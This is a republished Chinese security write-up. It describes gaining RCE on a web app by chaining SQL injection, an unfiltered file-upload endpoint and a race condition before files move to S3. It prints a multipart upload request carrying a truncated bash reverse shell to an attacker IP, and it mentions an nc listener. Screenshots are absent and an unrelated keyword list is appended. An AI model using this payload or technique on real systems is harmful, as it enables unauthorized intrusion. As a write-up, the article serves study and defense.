千家信息网

利用竞争条件对目标Web应用实现RCE的示例分析

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,利用竞争条件对目标Web应用实现RCE的示例分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。通过对SQL注入和竞争条件(Race Co
千家信息网最后更新 2025年01月20日利用竞争条件对目标Web应用实现RCE的示例分析

利用竞争条件对目标Web应用实现RCE的示例分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

通过对SQL注入和竞争条件(Race Condition)的组合利用,利用上传文件到服务器和服务器转移上传文件到Amazon S3的时间差,最终实现了对目标应用的RCE漏洞。由于该RCE漏洞的发现相对独特,所以下面着重从竞争条件(Race Condition)的触发机制说起,和大家分享。

竞争条件(Race Condition):计算机运行过程中,并发、无序、大量的进程在使用有限、独占、不可抢占的资源,由于进程无限,资源有限,产生矛盾,这种矛盾称为竞争(Race)。竞争条件(Race Condition)旨在描述一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机。由于两个或者多个进程竞争使用不能被同时访问的资源,使得这些进程有可能因为时间上推进的先后原因而出现问题。

漏洞详情

第一个上传功能点upload.php

这里的前提是,我已经通过SQL注入获取到了目标Web应用的管理员账户凭据,然后登录到其内部管理界面后,我发现可通过该管理面板中的upload.php功能发布新闻或文章:

没做太多考虑,我就直接通过upload.php尝试上传了一个.php文件shell,但问题是该上传功能限制了对.php格式文件的上传,在变化.PhP、.php3、phpphp、空字符等形式的绕过方法后,还是不行:

然后,我想到了存储型XSS,能不能通过上传 .html、.xml或.svg格式文件呢?这一下上传总算成功了,但是,由于目标Web应用又会把用户上传文件转储到云端的S3存储桶中去,那在S3存储桶触发XSS也没意义了。好吧,那暂时把这个问题放一边,来看其它的。

第二个上传功能点modify.php

在没有头绪之时,我又返回管理面板中"news"栏目,想看看能不能在添加或编辑操作中发现可利用的点。此时,我注意到了"edit"功能,如下在这个非法上传文件右上端,我点击了其"edit"按钮:

然后跳出了以下包含upload to replacing the file的窗口:

我想到的是,它可能也是包含了限制过滤条件吧,但事实是,它没有任何后缀格式限制条件!可以上传任意文件!那就上传吧,如果没有限制条件的话,那它调用的应该不是之前的upload.php,确实是,它调用了另一上传功能点"modify.php",以下是它的调用请求格式:

Content-Disposition: form-data; name="fileid"31337-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="name"picture-1.png-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="description"-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="userfile"; filename="reverse.php"Content-Type: text/php& /dev/tcp/10.20.30.40/21234 0>&1'");-----------------------------09234599689937136550676151776Content-Disposition: form-data; name="save"Save

大功告成了吗?并没有。目标Web应用之后还会把用户上传文件转储上传到云端S3存储桶中去,也就是说,如果被传到S3中去,在目标Web应用的服务器中,我们也没shell可反弹了。

竞争条件(Race Condition)响应错误获得本地文件路径

此时,毫无头绪之际,我通过burpsuite的 intruder 模式上传操作中,发现了响应长度的异常。有时候需要发起10个左右的请求,有时候则需要发起20-30个请求,才会出现这样的响应异常。正常来说,多数请求的响应长度为1147,但奇怪的是,在其中,会夹杂着长度为1710的响应。如多次上传空内容的rc.php,其请求样式为:

以下是正常的长度为1147的响应:

以下则是异常的长度为1710的响应,其中竟然返回了我们上传的php文件的本地路径:

本想着,有了这个路径,那么完全就可以实现监听反弹了,但其实不然。当我通过浏览器访问该上传php文件后,Web应用返回了"File not Found"的提示,经再次检查后发现,该文件路径已经对应成了S3存储桶的路径了,所以,因此我猜测,我们的上传文件被目标Web应用移动到云端S3之前,在Web应用服务器中保存的时间大概会是短暂的1到2秒。

用竞争条件(Race Condition)反弹Shell并实现RCE

根据以上的时间猜测,我就有一个想法:如果我们从客户端来触发竞争条件,通过浏览器反复请求上传文件路径,以此来争取对其的访问占有权限,这样的做法是否可行?

也就是:

在我们shell反弹服务器中设置端口监听 -> 上传我们的反弹shell文件 -> 发起多个请求执行竞争条件 -> 获取长度异常的响应 -> 从中获取上传shell文件路径并用浏览器访问并不断刷新(CTRL+R) -> 以这种方式再次让目标Web应用处于竞争条件下, 我们就占有了对上传shell文件的继续访问权。

一试,果然行。以下是触发反弹shell实现RCE的竞争条件逻辑图:

nc端监听返回的RCE结果:

看完上述内容,你们掌握利用竞争条件对目标Web应用实现RCE的示例分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注行业资讯频道,感谢各位的阅读!

文件 条件 竞争 应用 目标 路径 功能 长度 服务器 进程 问题 存储 服务 时间 格式 管理 限制 云端 内容 方法 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 数据库正版化问题 网络技术分析路由器 视频播放器显示无法连接服务器 服务器存储技术方案 eda软件开发到底做的什么 图像智能分析软件开发 组态王sql 数据库插入失败 网络技术仿真实验报告小结 两台电脑主机如何建服务器 数据库原理与技术课程推荐书 传奇世界官服服务器说明 国外软件开发外包平台 辛集市软件开发计算机培训学校 提阿非罗网络技术有限公司 渝北区常规软件开发流程报价表 数据库社团管理er图 软件开发竞争风险大全 银行软件开发要求 延迟低服务器 上海软件开发外包哪家强 重庆计算机网络技术专科院校 开源网络安全工具排名 网络安全教育内容的目的 树 数据库 根据数据库日志恢复数据库 10g数据库支持增量导入 浅谈网络安全工作的重要性 安卓软件开发用到的算法 域服务器的445端口有什么用 网络安全与应用专业有什么要求
0